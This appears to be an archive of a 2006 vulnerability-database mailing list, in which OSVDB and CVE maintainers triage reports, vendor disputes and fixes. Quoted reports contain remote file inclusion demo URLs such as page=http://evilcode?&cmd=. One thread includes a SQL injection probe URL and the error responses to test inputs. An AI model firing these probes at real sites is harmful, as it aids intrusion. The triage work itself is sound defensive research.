From smoore at securityglobal.net Wed Mar 1 01:00:07 2006 From: smoore at securityglobal.net (Stuart Moore) Date: Wed, 01 Mar 2006 01:00:07 -0500 Subject: [VIM] Knowledgebases Remote Command Exucetion In-Reply-To: References: <20060227123040.18672.qmail@securityfocus.com> Message-ID: <44053867.1010800@securityglobal.net> Hi, Francisco Alisson's report to Bugtraq from March 2005 seems to specifically mention only the KnowledgeBuilder product (though it was identified as "KnowledgeBase") with the vendor URL of: http://www.activecampaign.com/kb/ In searching back further, it seems that Zero X reported this issue [CVE-2003-1131] to Bugtraq in December 2003: http://www.securityfocus.com/archive/1/348359 But, Zero X's report mentions only KnowledgeBuilder and not any of the other products. Would this warrant a new CVE for the newly identified products? Or a modification to the CVE-2003-1131 entry? Stuart security curmudgeon wrote: > : http://www.activecampaign.com/support/ > : > : Version : 1-2-All KB > : * KnowledgeBuilder KB > : * iSalient KB > : * SupportTrio KB > : * visualEdit KB > : * General KB > : > : This is a support-faq script. The questions is asked. But this a script > : high the risk at bug. Malicios person to reach far away. > : > : Vulnerable : > : > : http://www.site.com/[path]/index.php?page=http://evilcode?&cmd= > > This was reported on Mar 12, 2005 by Francisco Alisson, and apparently not > patched since then. > > http://archives.neohapsis.com/archives/bugtraq/2005-03/0213.html > From jericho at attrition.org Fri Mar 3 16:04:55 2006 From: jericho at attrition.org (security curmudgeon) Date: Fri, 3 Mar 2006 16:04:55 -0500 (EST) Subject: [VIM] vendor ack/fix: Honeycomb Archive CategoryResults.cfm Multiple Variable SQL Injection (fwd) Message-ID: ---------- Forwarded message ---------- From: Matt Yerkes To: moderators at osvdb.org Date: Fri, 3 Mar 2006 13:36:35 -0500 Subject: [OSVDB Mods] [Change Request] 21827: Honeycomb Archive CategoryResults.cfm Multiple Variable SQL Injection This issue has been patched in version 4.0 Thank you Matt Yerkes Quick Square From coley at mitre.org Fri Mar 3 16:13:25 2006 From: coley at mitre.org (Steven M. Christey) Date: Fri, 3 Mar 2006 16:13:25 -0500 (EST) Subject: [VIM] fun vulnerability timelines - part 2 Message-ID: <200603032113.k23LDPZ4018918@cairo.mitre.org> Following Jericho's lead on fun timelines :) although I can understand how this one would arise. Ref: CVE-2006-0982 "Virex on-access scanning unreliable" http://www.securityfocus.com/archive/1/archive/1/426348/100/0/threaded McAfee notified 2006/02/17, denied responsability for the product and referred to Apple. Apple notified 2006/02/17, denied responsability for the issue and referred to McAfee. - Steve From jericho at attrition.org Sat Mar 4 04:16:43 2006 From: jericho at attrition.org (security curmudgeon) Date: Sat, 4 Mar 2006 04:16:43 -0500 (EST) Subject: [VIM] what a tangled web of code we weave Message-ID: While digging around tonight, ran into this sequence of links trying to find where the real vulnerability was: sux0r 1.6 was released to fix a vuln [1] this was due to a vuln in MagpieRSS, which v 0.72 fixed [2] the MagpieRSS issue was due to a vuln in Snoopy [3] At this point, the sux0r release was linked two steps back to Snoopy, via MagpieRSS. Also attached to the same original vulnerability: Ampache was also found to be using Snoopy [4] Jinzora was also found to be using Snoopy [5] Obviously, most people in the industry who read Bugtraq or F-D for vuln info didn't see all of this. This is a pretty good case where some vulnerability databases show their worth in followup research and organization. I wonder if the authors of sux0r know that one of the packages they use, also uses other packages. This makes me wonder how many layers deep some of the software goes these days. Imagine having a really accurate mapping of such relationships and integration, that would let us see just how far one vulnerability can spread into different codebases. [1] http://sourceforge.net/forum/forum.php?forum_id=546886 [2] http://sourceforge.net/project/shownotes.php?release_id=368750&group_id=55691 [3] http://www.sec-consult.com/216.html [4] http://www.secunia.com/advisories/17779/ [5] http://sourceforge.net/project/shownotes.php?release_id=375385 From jericho at attrition.org Sun Mar 5 23:28:21 2006 From: jericho at attrition.org (security curmudgeon) Date: Sun, 5 Mar 2006 23:28:21 -0500 (EST) Subject: [VIM] *pdf - new issues or old? Message-ID: http://www.debian.org/security/2006/dsa-979 http://www.debian.org/security/2006/dsa-982 http://www.debian.org/security/2006/dsa-983 http://www.debian.org/security/2006/dsa-984 vulnerable: pdfkit.framework, gpdf, pdftohtml, xpdf vulns found by: Derek Noonburg Security database references: No other external database security references currently available. -- So are these new issues or do they correspond with old ones? Debian has released advisories covering all the other publicly reported ones I think.. From coley at linus.mitre.org Mon Mar 6 14:04:02 2006 From: coley at linus.mitre.org (Steven M. Christey) Date: Mon, 6 Mar 2006 14:04:02 -0500 (EST) Subject: [VIM] *pdf - new issues or old? In-Reply-To: References: Message-ID: I asked Martin Schulze about this (specifically DSA-979) and he said that there was "probably" overlap, but fixes were based on a patch by Derek Noonburg, the xpdf author, and no CVE names were assigned at that time. As you probably know, distributions sometimes don't know the details of security fixes by the original developers/maintainers. I hate answers that raise more questions :-/ but I might have to go with "unspecified" vulnerabilities. - Steve From coley at mitre.org Mon Mar 6 21:08:39 2006 From: coley at mitre.org (Steven M. Christey) Date: Mon, 6 Mar 2006 21:08:39 -0500 (EST) Subject: [VIM] LISTSERV release notes reveal partial vuln details Message-ID: <200603070208.k2728dTL026512@cairo.mitre.org> Regarding: BUGTRAQ:20060304 Critical Risk Vulnerability in L-Soft Listserv URL:http://www.securityfocus.com/archive/1/archive/1/426770/100/0/threaded SECTRACK:1015722, BID:16951, FRSIRT:ADV-2006-0824 I traipsed around some mailing list archives and found this: http://peach.ease.lsoft.com/scripts/wa.exe?A2=ind0603&L=lstsrv-l&T=0&P=1442 A followup post yielded this: http://www.lsoft.com/manuals/1.8e/relnotes/LISTSERV14.5-Release-Notes.html#wasecurityalert A number of buffer overruns were found in the WA CGI stage for all platforms after the release of LISTSERV 14.4. This discovery triggered a full code audit and overhaul of WA for LISTSERV 14.5... The vunerabilities were found and graciously reported by Peter Winter-Smith of Next Generation Security Software, Ltd. - Steve From coley at linus.mitre.org Tue Mar 7 16:10:49 2006 From: coley at linus.mitre.org (Steven M. Christey) Date: Tue, 7 Mar 2006 16:10:49 -0500 (EST) Subject: [VIM] Vendor dispute / clarification for CVE-2005-4515 (WebDB) Message-ID: FYI. My read is that the reported vulnerability was in a single customized web site. Also, from the sound of things, the software is not directly distributed to customers, rather it is controlled by the vendor. - Steve ---------- Forwarded message ---------- Date: Tue, 7 Mar 2006 21:03:28 -0000 From: Lois Software To: cve at mitre.org Subject: CVE-2005-4515 (under review) [snip] WebDB is a generic online database system used by many of the clients of Lois Software. The flaw that was identified was some code that was added for a client to do some testing of his system and only certain safe commands were allowed. This code has now been removed and it is not now possible to use SQL queries as part of the query string. No installation or patch is required All clients use a common code library and have their own front end and databases and connections. So as soon as a change / upgrade / enhancement is made to the code, all users of the software begin to use the latest changes immediately. A message has also been put on the original posting site. Many Thanks Lois Software - Bristol - England www.loissoftware.com From jericho at attrition.org Tue Mar 7 16:12:02 2006 From: jericho at attrition.org (security curmudgeon) Date: Tue, 7 Mar 2006 16:12:02 -0500 (EST) Subject: [VIM] [Change Request] 21910: WebDB Search Module search Variable SQL Injection (fwd) Message-ID: I'm trying to figure this out as well =) ---------- Forwarded message ---------- From: security curmudgeon To: Lois Software Cc: moderators at osvdb.org Date: Tue, 7 Mar 2006 16:05:05 -0500 (EST) Subject: RE: [OSVDB Mods] [Change Request] 21910: WebDB Search Module search Variable SQL Injection : : Does this entail your clients installing an upgrade, or applying a : : patch? : : No .. All clients use a common code library and have their own front end : and databases and connections. So as soon as a change / upgrade / : enhancement is made to the code, all users of the software begin to use : the latest changes immediately. Does this code reside on your servers then? Do your customers use your servers for everything, ie: you provide a managed service for them? Or do they just pull the shared code from your server, but use it from their own sites/servers? I'm trying to figure out how to word a solution here, and it doesn't sound like calling it an upgrade or patch is appropriate. Thanks for helping to clear this up! Brian OSVDB.org From mattmurphy at kc.rr.com Tue Mar 7 16:38:24 2006 From: mattmurphy at kc.rr.com (Matthew Murphy) Date: Tue, 07 Mar 2006 15:38:24 -0600 Subject: [VIM] Vendor dispute / clarification for CVE-2005-4515 (WebDB) In-Reply-To: References: Message-ID: <440DFD50.2040002@kc.rr.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: RIPEMD160 Steven M. Christey wrote: > FYI. My read is that the reported vulnerability was in a single > customized web site. Also, from the sound of things, the software is not > directly distributed to customers, rather it is controlled by the vendor. My read is different. I read it as "we added code [to the global codebase] so that one client could test his/her use of the software." This makes more sense to me when combined with the "No... patch is required... all clients use a common code library" statement. Bottom line... it's about as clear as mud. > - Steve > > ---------- Forwarded message ---------- > Date: Tue, 7 Mar 2006 21:03:28 -0000 > From: Lois Software > To: cve at mitre.org > Subject: CVE-2005-4515 (under review) > > [snip] > > WebDB is a generic online database system used by many of the clients of > Lois Software. The flaw that was identified was some code that was added for > a client to do some testing of his system and only certain safe commands > were allowed. This code has now been removed and it is not now possible to > use SQL queries as part of the query string. > > No installation or patch is required All clients use a common code library > and have their own front end and databases and connections. So as soon as a > change / upgrade / enhancement is made to the code, all users of the > software begin to use the latest changes immediately. > > A message has also been put on the original posting site. > > Many Thanks > > Lois Software - Bristol - England > www.loissoftware.com > - -- "Social Darwinism: Try to make something idiot-proof, nature will provide you with a better idiot." -- Michael Holstein -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.2 (MingW32) Comment: http://pgp.mit.edu:11371/pks/lookup?op=get&search=0xB5444D38 iD8DBQFEDf1Pfp4vUrVETTgRAxeIAJ4hYtfzhMPYXQZpuXzOFdqdHU/uhACcCKyo /FSRQx5yGV5TrLZrWB95d30= =kzt0 -----END PGP SIGNATURE----- -------------- next part -------------- A non-text attachment was scrubbed... Name: smime.p7s Type: application/x-pkcs7-signature Size: 3436 bytes Desc: S/MIME Cryptographic Signature Url : http://www.attrition.org/pipermail/vim/attachments/20060307/f0bcbb2d/attachment-0001.bin From jericho at attrition.org Tue Mar 7 16:39:16 2006 From: jericho at attrition.org (security curmudgeon) Date: Tue, 7 Mar 2006 16:39:16 -0500 (EST) Subject: [VIM] [Change Request] 21910: WebDB Search Module search Variable SQL Injection (fwd) Message-ID: ---------- Forwarded message ---------- From: Lois Software To: security curmudgeon Cc: moderators at osvdb.org Date: Tue, 7 Mar 2006 21:34:48 -0000 Subject: RE: [OSVDB Mods] [Change Request] 21910: WebDB Search Module search Variable SQL Injection Hi Brian Yes ... everything happens on my server .... the WebDB code resides on my server and each user has access to the common code. I also host their front end web sites and their databases. Each client will have their own database which stores all of their data and their settings for the search, results and details pages. There will also be a separate connection file for each user so the code will know which database to use. So a search page for a client will just contain the following code:- Some example sites include:- [..] I hope that helps!! .... if not, feel free to ask if you want any further clarification Best Wishes Jerry From coley at linus.mitre.org Tue Mar 7 16:40:07 2006 From: coley at linus.mitre.org (Steven M. Christey) Date: Tue, 7 Mar 2006 16:40:07 -0500 (EST) Subject: [VIM] Vendor dispute / clarification for CVE-2005-4515 (WebDB) In-Reply-To: <440DFD50.2040002@kc.rr.com> References: <440DFD50.2040002@kc.rr.com> Message-ID: On Tue, 7 Mar 2006, Matthew Murphy wrote: > Bottom line... it's about as clear as mud. I can't wait to see what mud Brian gets back from his inquiry :) - Steve From jericho at attrition.org Tue Mar 7 16:42:49 2006 From: jericho at attrition.org (security curmudgeon) Date: Tue, 7 Mar 2006 16:42:49 -0500 (EST) Subject: [VIM] [Change Request] 21910: WebDB Search Module search Variable SQL Injection (fwd) Message-ID: ---------- Forwarded message ---------- From: security curmudgeon To: Lois Software Cc: moderators at osvdb.org Date: Tue, 7 Mar 2006 16:42:14 -0500 (EST) Subject: RE: [OSVDB Mods] [Change Request] 21910: WebDB Search Module search Variable SQL Injection Hey , Thanks for the detailed information. I'm going to review it later this evening and figure out how best to handle it. It seems like this is essentially a service, not a product, and as such would not meet our criteria for inclusion in the database at all. Given that many other databases have entries for it, we may keep it but add notes that explain all of what you told me so it is clear to everyone. I have also sent our mails (sanitized) to several other databases (including CVE, SecurityTracker and others) so they can act on it accordingly as well. Thanks for taking the time to explain everything. Brian OSVDB.org From jericho at attrition.org Wed Mar 8 01:52:28 2006 From: jericho at attrition.org (security curmudgeon) Date: Wed, 8 Mar 2006 01:52:28 -0500 (EST) Subject: [VIM] interesting change in Xerox advisories Message-ID: We've discussed Xerox advisories in the past, and how vague they are: Xerox, redundancy and being vague.. http://attrition.org/pipermail/vim/2005-July/000206.html http://attrition.org/pipermail/vim/2005-July/000209.html oh how i love xerox http://attrition.org/pipermail/vim/2006-February/000563.html http://attrition.org/pipermail/vim/2006-February/000564.html Until now, their advisories always seem to be cut/paste of each other, just changing the date and advisory ID number. Unspecified Auth Bypass, Unspecified XSS, Unspecified DoS. This month however, they really broke from the norm: http://www.xerox.com/downloads/usa/en/c/cert_XRX06_002.pdf XEROX SECURITY BULLETIN XRX06-002 03/06/06 [..] Background System Software Version 1.001.02.074 documented in this bulletin has completed Common Criteria evaluation. The software applies to the products listed below. The information provided here is consistent with the security functional claims made in the Security Target. This Security Target is available from the National Information Assurance Partnership website's Validated Products List under the heading "Xerox CopyCentre (tm) C65/75/90 Copier and WorkCentre (tm) Pro 65/75/90 Advanced Multifunction System including Image Overwrite" (http://niap.nist.gov/cc-scheme/st/ST_VID2021.html) or from your Xerox representative. System Software Version 1.001.02.074 incorporates fixes for the following security-related problems: * A buffer overflow vulnerability in the PostScript file interpreter code that could cause a denial of service to an attacked machine. * A specially constructed PostScript file to navigate through the directory could cause a denial of service to an attacked machine. * A specially constructed PostScript file set to expose TCP/IP ports could cause a denial of service to an attacked machine. * A memory corruption vulnerability in the web server code that could cause a denial of service to an attacked machine. * A vulnerability in the ESS/Network Controller could cause Immediate Image Overwrite to fail in a specific instance with no indication after an unexpected power loss. System Software Version 1.001.02.716 has not completed Common Criteria evaluation, but incorporates all of the security fixes identified above for System Software Version 1.001.02.074 plus additional security fixes identified in the applicable software release notes. Customers have the option of requesting either System Software Version. From jericho at attrition.org Wed Mar 8 05:58:45 2006 From: jericho at attrition.org (security curmudgeon) Date: Wed, 8 Mar 2006 05:58:45 -0500 (EST) Subject: [VIM] vendor ack/fix: 21939: Baseline CMS Page.asp SiteNodeID Variable SQL Injection (fwd) Message-ID: ---------- Forwarded message ---------- From: Dave McKay To: moderators at osvdb.org Date: Tue, 7 Mar 2006 20:15:26 -0500 Subject: [OSVDB Mods] [Change Request] 21939: Baseline CMS Page.asp SiteNodeID Variable SQL Injection Hi there, Baseline CMS 2.0 does not have the same vulnerability as version 1.95. It was released in Jan 2006 and validates all expected numeric data passed in the querystring to make sure it only contains numeric characters. Earlier versions all reside on our servers and have been patched. Thanks, Dave McKay Vice-President NMA From jericho at attrition.org Wed Mar 8 07:03:30 2006 From: jericho at attrition.org (security curmudgeon) Date: Wed, 8 Mar 2006 07:03:30 -0500 (EST) Subject: [VIM] For Sale: Security Vulnerability Database Company (fwd) Message-ID: This is certainly interesting. ---------- Forwarded message ---------- From: Jason Bergen To: full-disclosure at lists.grok.org.uk Date: Wed, 8 Mar 2006 11:59:26 +0000 Subject: [Full-disclosure] For Sale: Security Vulnerability Database Company Apologies if this email is not appropriate for this list. We have been appointed to facilitate the sale of company which has developed and maintains a security vulnerability database, thus are looking for potential buyers for our client. The company maintains a database of all security vulnerabilities, and the database is updated on a daily basis. The company maybe of interest to organisations who are currently licensing a vulnerability database. In addition the company has developed some software applications built upon the vulnerability database. More details about the organisation are available on request by contacting me by email at jason.bergen at googlemail.com Regards Jason Bergen _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ From coley at mitre.org Wed Mar 8 21:27:36 2006 From: coley at mitre.org (Steven M. Christey) Date: Wed, 8 Mar 2006 21:27:36 -0500 (EST) Subject: [VIM] Inquiry sent to NZ Ecommerce vendor Message-ID: <200603090227.k292Ramb004448@cairo.mitre.org> Regarding the XSS and SQL injection issues in NZ Ecommerce here: http://pridels.blogspot.com/2006/03/nz-ecommerce-sqlxss-vuln.html The vendor included a blog comment that said he could not reproduce the issues. I researched things a little bit, and it appears that the report is legit. I've sent a followup email to the vendor with my findings. I'll let you know when I hear something. Hmmmmmm... while I was composing this email, I received some sort of bounce error from the vendor's site. Guess I'll have to try later... - Steve From coley at mitre.org Thu Mar 9 00:23:32 2006 From: coley at mitre.org (Steven M. Christey) Date: Thu, 9 Mar 2006 00:23:32 -0500 (EST) Subject: [VIM] vague vendor disputes for Pixelpost issues Message-ID: <200603090523.k295NWGs004773@cairo.mitre.org> This is a cute one. Ref: BUGTRAQ:20060304 Pixel Post Multiple Vulnerabilities URL:http://www.securityfocus.com/archive/1/archive/1/426764/100/0/threaded In a forum, the vendor vaguely disputes some issues, but isn't actually specific about WHICH issues are disputed: http://www.neosecurityteam.net/index.php?action=advisories&id=19 "Some of this infos arent really sec holes and some of them are not present in 1.5 BETA1 which we suggest to install from time when it is public. 1.5 RC1 will be patched completle for all known holes." I know I've run across partial disputes like this before, but this one just happened to strike me. - Steve From coley at mitre.org Thu Mar 9 01:09:21 2006 From: coley at mitre.org (Steven M. Christey) Date: Thu, 9 Mar 2006 01:09:21 -0500 (EST) Subject: [VIM] Who or what is Total Ecommerce? Message-ID: <200603090609.k2969Lc7004887@cairo.mitre.org> Researcher: nukedx Ref: BUGTRAQ:20060304 Advisory: TotalECommerce (index.asp id) Remote SQL InjectionVulnerability. http://www.securityfocus.com/archive/1/archive/1/426765/100/0/threaded FRSIRT:ADV-2006-0840 SECUNIA:19103 A little Googling shows what appears to be a single web site: http://www.superasp.com.br/totalecommerce/index.asp which uses the "secao" parameter as referenced by nukedx, but the "product site" claimed by nukedx - http://www.totalecommerce.com - appears to be a commercial index for various e-commerce resources. A Google search suggests that there are many product or service names such as "Total Ecommerce". But that secao parameter sounds like the key... and this smells like a single web site. Anybody? - Steve From jericho at attrition.org Fri Mar 10 07:30:19 2006 From: jericho at attrition.org (security curmudgeon) Date: Fri, 10 Mar 2006 07:30:19 -0500 (EST) Subject: [VIM] vendor dispute: VCS Message-ID: ---------- Forwarded message ---------- From: VCS Service To: moderators at osvdb.org Date: Thu, 9 Mar 2006 22:32:05 -0600 Subject: [OSVDB Mods] FW: SQL Injection Vulnerability Moderators, You posted a vulnerability on your site here with our application: http://www.osvdb.org/displayvuln.php?osvdb_id=23479&print I responded to the original posted weeks ago and never heard back (see my message below). We have explained that this vulnerability has been tested and designed against. We would be very interested in seeing any proof that this can be accomplished as has been stated. As developers I am not egotistical enough to say that it is outside the realm of possibility, it is just that without proof this is no more then an accusation. We have made significant efforts to protect against this type of vulnerability and your post is harmful to our company's reputation so we must ask that you (or the submitter) prove that this is possible with proof or remove this hurtful innuendo to our reputation. Best Regards, Nick Matteucci VCS = Simple + Sensible + Supportable Web-Based Project Management Software Phone: 314-766-4612 Email: Web: www.vcsonline.com -----Original Message----- From: VCS Service Sent: Tuesday, February 14, 2006 6:30 AM To: Remco Verhoef (Intershare B.V.) Subject: RE: SQL Injection Vulnerability Hi Remco, Thank you for writing. We have a behind the scenes complex state management system that uses a combination of keys placed in JavaScript and Session State (server side) that protects against the type of SQL injection you describe. We have tested for many of the cases and have not found it to be an issue. We also compare with proprietary internal fields for the records to be sure. Were you able to modify or change another record then the one you were navigating with through the querysting? Please let us know how you accomplished that and I would be most grateful to you. Thank you VCS Support Team -----Original Message----- From: Remco Verhoef (Intershare B.V.) Sent: Tuesday, February 14, 2006 4:57 AM To: information at vcsonline.com Subject: SQL Injection Vulnerability Dear VCSOnline, While browsing through the demo, I encountered the following possible sql injection flaw. When this flaw is abused there are several possibilities for deleting, stealing data, installing trojans, depending on the configuration of the database. The url: http://vpmi.vcsonline.com/vpmi33/scripts/PM_Process/PM_Sub_Project_Pages/Ser vice_Requests.asp?Updateable=NO&Last_Button=form&UpdateID0=175'6&UpdateID1=& UpdateID2=&UpdateID3=&UpdateID4=&UpdateID5=&strSORTBY=&Form_Mode=YES&iWhichP age=1&iPageSize=50&Request_Name_Display=LSS+FAX&Status_Code=ASREQ Returns the error: Microsoft OLE DB Provider for Oracle (0x80040E14) ORA-00933: SQL command not properly ended /vpmi33/scripts/PM_Process/PM_Sub_Project_Pages/Service_Requests.asp, line 472 Which indicates that the parameter UpdateID0 is not properly sanitized before executing it at the database. Please correct this issue. Kind regards, Remco Verhoef From coley at linus.mitre.org Fri Mar 10 20:30:14 2006 From: coley at linus.mitre.org (Steven M. Christey) Date: Fri, 10 Mar 2006 20:30:14 -0500 (EST) Subject: [VIM] vendor dispute: VCS In-Reply-To: References: Message-ID: Why do these things seem to happen on Fridays? OK, so this one was late Thursday. At first glance it looks like there could be a path disclosure infoleak, but the "full path" being returned in the verbose error messages is the same as the URL without the hostname portion, so it's probably NOT an infoleak. The URL provided by the vendor is for a demo site. Using the following values for UpdateID0 yielded the following results: - 1594 normal returned record ID 1594 - 1590%2b4 (URL-encoded 1590+4) ORA-01722: invalid number (plus full pathname to the script) - [blank value] a blank value returned record ID 1758 - 1 Error Type: (0x80020009) Exception occurred. (plus path disclosure) - * Error Type: Microsoft OLE DB Provider for Oracle (0x80040E07) ORA-01722: invalid number - a Error Type: Microsoft OLE DB Provider for Oracle (0x80040E07) ORA-01722: invalid number - ' Error Type: Microsoft OLE DB Provider for Oracle (0x80004005) ORA-01756: quoted string not properly terminated - -1 Error Type: (0x80020009) Exception occurred. Given that 1590+4 did NOT work, and some of the values say "invalid number" and non-positive numbers yield exceptions, I'm tempted at the moment to concur with the dispute, but I haven't studied SQL injection deeply enough to know whether an inability to handle ' is *always* proof of SQL injection - though I suspect not. - Steve From jericho at attrition.org Mon Mar 13 03:52:51 2006 From: jericho at attrition.org (security curmudgeon) Date: Mon, 13 Mar 2006 03:52:51 -0500 (EST) Subject: [VIM] Who or what is Total Ecommerce? In-Reply-To: <200603090609.k2969Lc7004887@cairo.mitre.org> References: <200603090609.k2969Lc7004887@cairo.mitre.org> Message-ID: : A little Googling shows what appears to be a single web site: : : http://www.superasp.com.br/totalecommerce/index.asp : : which uses the "secao" parameter as referenced by nukedx, but the : "product site" claimed by nukedx - http://www.totalecommerce.com - : appears to be a commercial index for various e-commerce resources. searching for 'index.asp?secao': http://www.feiradacachaca.com.br/index.asp?secao=4&categoria=107&subcategoria=0&id=179 http://www.spon.com.br/index.asp?secao=46&categoria=248 http://www.cdrcia.com.br/index.asp?secao=18&categoria=55&subcategoria=0&id=197 http://www.novotempo.org.br/lojavirtual/index.asp?secao=2&categoria=76&subcategoria ... http://www.amb.com.br/portal/index.asp?secao=mostranoticia&mat_id=2793 ... Given they are all .bz sites, i'm thinking 'secao' may be a fairly common variable name. The vendor URL as you point out seems like a link site/portal, not a site offering software for download. From coley at mitre.org Mon Mar 13 19:24:04 2006 From: coley at mitre.org (Steven M. Christey) Date: Mon, 13 Mar 2006 19:24:04 -0500 (EST) Subject: [VIM] Oddness - CoreNews 2.0.1 Remote Command Exucetion Message-ID: <200603140024.k2E0O4gi022406@cairo.mitre.org> Ref: BUGTRAQ:20060309 CoreNews 2.0.1 Remote Command Exucetion http://www.securityfocus.com/archive/1/archive/1/427387/100/0/threaded The researcher says: >http://www.example.com/index.php?page=evilcode?&cmd=id It's not clear where this is a file include issue, eval injection, etc. The demo URL is not specific enough. Also, I downloaded the source code for CoreNews 2.0.1 from this site: http://www.php-spezial.de/start.php?go=top&id=&s=3 Doing a grep for "page" on the entire distribution does not return any matches, except for unrelated example "homepage" URLs. This is interesting, since it appears that this product is used by some sites, and the page parameter is present and functioning. Could this be a site-specific issue that is unrelated to CoreNews? Or maybe there's a modified version that's also called "2.0.1" ? Or maybe there's only so much you can see from a casual source inspection :) - Steve From theall at tenablesecurity.com Mon Mar 13 21:15:00 2006 From: theall at tenablesecurity.com (George A. Theall) Date: Mon, 13 Mar 2006 21:15:00 -0500 Subject: [VIM] Oddness - CoreNews 2.0.1 Remote Command Exucetion In-Reply-To: <200603140024.k2E0O4gi022406@cairo.mitre.org> References: <200603140024.k2E0O4gi022406@cairo.mitre.org> Message-ID: <44162724.2030302@tenablesecurity.com> Steven M. Christey wrote: > Could this be a site-specific issue that is unrelated to CoreNews? Or > maybe there's a modified version that's also called "2.0.1" ? There are a couple of addons for CoreNews available here: http://corenews.icestyle.de/ The next-page and page-direktlinks hacks seem to add the functionality: http://corenews.icestyle.de/download/nextpage.howto-install.hack http://corenews.icestyle.de/download/new_next-page through changes to shownews.php. Also worth noting is the presence of an eval() in the original source, although it seems like most of the mods from these two addons occur *after* the eval. Then again, > Or maybe there's only so much you can see from a casual source > inspection :) At least you have the source - isn't working for me. P.S. I'm new to the list and hope I'm not violating protocol by jumping in like this. George -- theall at tenablesecurity.com From coley at linus.mitre.org Mon Mar 13 21:19:31 2006 From: coley at linus.mitre.org (Steven M. Christey) Date: Mon, 13 Mar 2006 21:19:31 -0500 (EST) Subject: [VIM] Oddness - CoreNews 2.0.1 Remote Command Exucetion In-Reply-To: <44162724.2030302@tenablesecurity.com> References: <200603140024.k2E0O4gi022406@cairo.mitre.org> <44162724.2030302@tenablesecurity.com> Message-ID: On Mon, 13 Mar 2006, George A. Theall wrote: > P.S. I'm new to the list and hope I'm not violating protocol by jumping > in like this. Not at all George, this is exactly the kind of stuff the list was created for! Thanks, Steve From coley at mitre.org Tue Mar 14 17:02:29 2006 From: coley at mitre.org (Steven M. Christey) Date: Tue, 14 Mar 2006 17:02:29 -0500 (EST) Subject: [VIM] Vendor ACK for NeuSecure/Netcool issues Message-ID: <200603142202.k2EM2Tjj025366@cairo.mitre.org> I just talked with Jimmy Alderson, now at IBM, about the various NeuSecure/Netcool issues (CVEs below). They do not have any formal public acknowledgement, but fixes for the issues are available to their customers. - Steve ====================================================== Name: CVE-2006-0837 Status: Candidate URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0837 Acknowledged: yes via-phone Announced: 20060216 Flaw: perm Reference: BUGTRAQ:20060216 Password disclosure and remote access in Netcool/NeuSecure Security information management platform Reference: URL:http://www.securityfocus.com/archive/1/archive/1/425304/100/0/threaded Reference: FULLDISC:20060216 Password disclosure and remote access in Netcool/NeuSecure Security information management platform Reference: URL:http://archives.neohapsis.com/archives/fulldisclosure/2006-02/0364.html Reference: BID:16700 Reference: URL:http://www.securityfocus.com/bid/16700 Reference: OSVDB:23270 Reference: URL:http://www.osvdb.org/23270 Reference: SECTRACK:1015642 Reference: URL:http://securitytracker.com/id?1015642 Reference: SECUNIA:18922 Reference: URL:http://secunia.com/advisories/18922 IBM Tivoli Micromuse Netcool/NeuSecure 3.0.236 has world-readable permissions for (1) /etc/neusecure.conf, (2) /opt/NeuSecure/etc/cms-3.0.236.buildconf, and (3) /opt/NeuSecure/bin/ns_archiver.log, which allows local users to read sensitive information such as passwords. NOTE: IBM has privately confirmed to CVE that a fix is available for these issues. Analysis: ACCURACY: By "remote access," the researcher means that a local user could find a password that can be used for a separate remote session. ACKNOWLEDGEMENT: Jimmy Alderson confirmed this issue with Steve Christey by phone on March 14, 2006. ====================================================== Name: CVE-2006-0838 Status: Candidate URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0838 Acknowledged: yes via-phone Announced: 20060216 Flaw: crypt Reference: BUGTRAQ:20060216 Password disclosure and remote access in Netcool/NeuSecure Security information management platform Reference: URL:http://www.securityfocus.com/archive/1/archive/1/425304/100/0/threaded Reference: FULLDISC:20060216 Password disclosure and remote access in Netcool/NeuSecure Security information management platform Reference: URL:http://archives.neohapsis.com/archives/fulldisclosure/2006-02/0364.html Reference: BID:16698 Reference: URL:http://www.securityfocus.com/bid/16698 Reference: OSVDB:23270 Reference: URL:http://www.osvdb.org/23270 Reference: OSVDB:23271 Reference: URL:http://www.osvdb.org/23271 Reference: SECTRACK:1015642 Reference: URL:http://securitytracker.com/id?1015642 Reference: SECUNIA:18922 Reference: URL:http://secunia.com/advisories/18922 IBM Tivoli Micromuse Netcool/NeuSecure 3.0.236 stores cleartext passwords in the (1) CMS_DBPASS, (2) CMSM_DBPASS, and (3) RPT_DBPASS fields in /etc/neusecure.conf, and in (4) /opt/NeuSecure/bin/ns_archiver.log, which allows local users to gain privileges. NOTE: IBM has privately confirmed to CVE that a fix is available for these issues. Analysis: ACCURACY: By "remote access," the researcher means that a local user could find a password that can be used for a separate remote session. ACKNOWLEDGEMENT: Jimmy Alderson confirmed this issue with Steve Christey by phone on March 14, 2006. ====================================================== Name: CVE-2006-1210 Status: Candidate URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1210 Acknowledged: yes via-phone Announced: 20060308 Flaw: other Reference: BUGTRAQ:20060308 Remote access to NeuSecure/Netcool backend database via web interface credentials leakage Reference: URL:http://www.securityfocus.com/archive/1/archive/1/427155/100/0/threaded The web interface for IBM Tivoli Micromuse Netcool/NeuSecure 3.0.236 includes the MySQL database username and password in cleartext in body.phtml, which allows remote attackers to gain privileges by reading the source. NOTE: IBM has privately confirmed to CVE that a fix is available for these issues. Analysis: ACKNOWLEDGEMENT: Jimmy Alderson confirmed this issue with Steve Christey by phone on March 14, 2006. ====================================================== Name: CVE-2006-1211 Status: Candidate URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1211 Acknowledged: yes via-phone Announced: 20060308 Flaw: other Reference: BUGTRAQ:20060308 Remote access to NeuSecure/Netcool backend database via web interface credentials leakage Reference: URL:http://www.securityfocus.com/archive/1/archive/1/427155/100/0/threaded IBM Tivoli Micromuse Netcool/NeuSecure 3.0.236 configures a MySQL database to allow connections from any source IP address with the ns database account, which allows remote attackers to bypass the Netcool/NeuSecure application layer and perform unauthorized database actions. NOTE: IBM has privately confirmed to CVE that a fix is available for these issues. Analysis: ACKNOWLEDGEMENT: Jimmy Alderson confirmed this issue with Steve Christey by phone on March 14, 2006. From coley at linus.mitre.org Tue Mar 14 19:41:22 2006 From: coley at linus.mitre.org (Steven M. Christey) Date: Tue, 14 Mar 2006 19:41:22 -0500 (EST) Subject: [VIM] vendor dispute: VCS In-Reply-To: References: 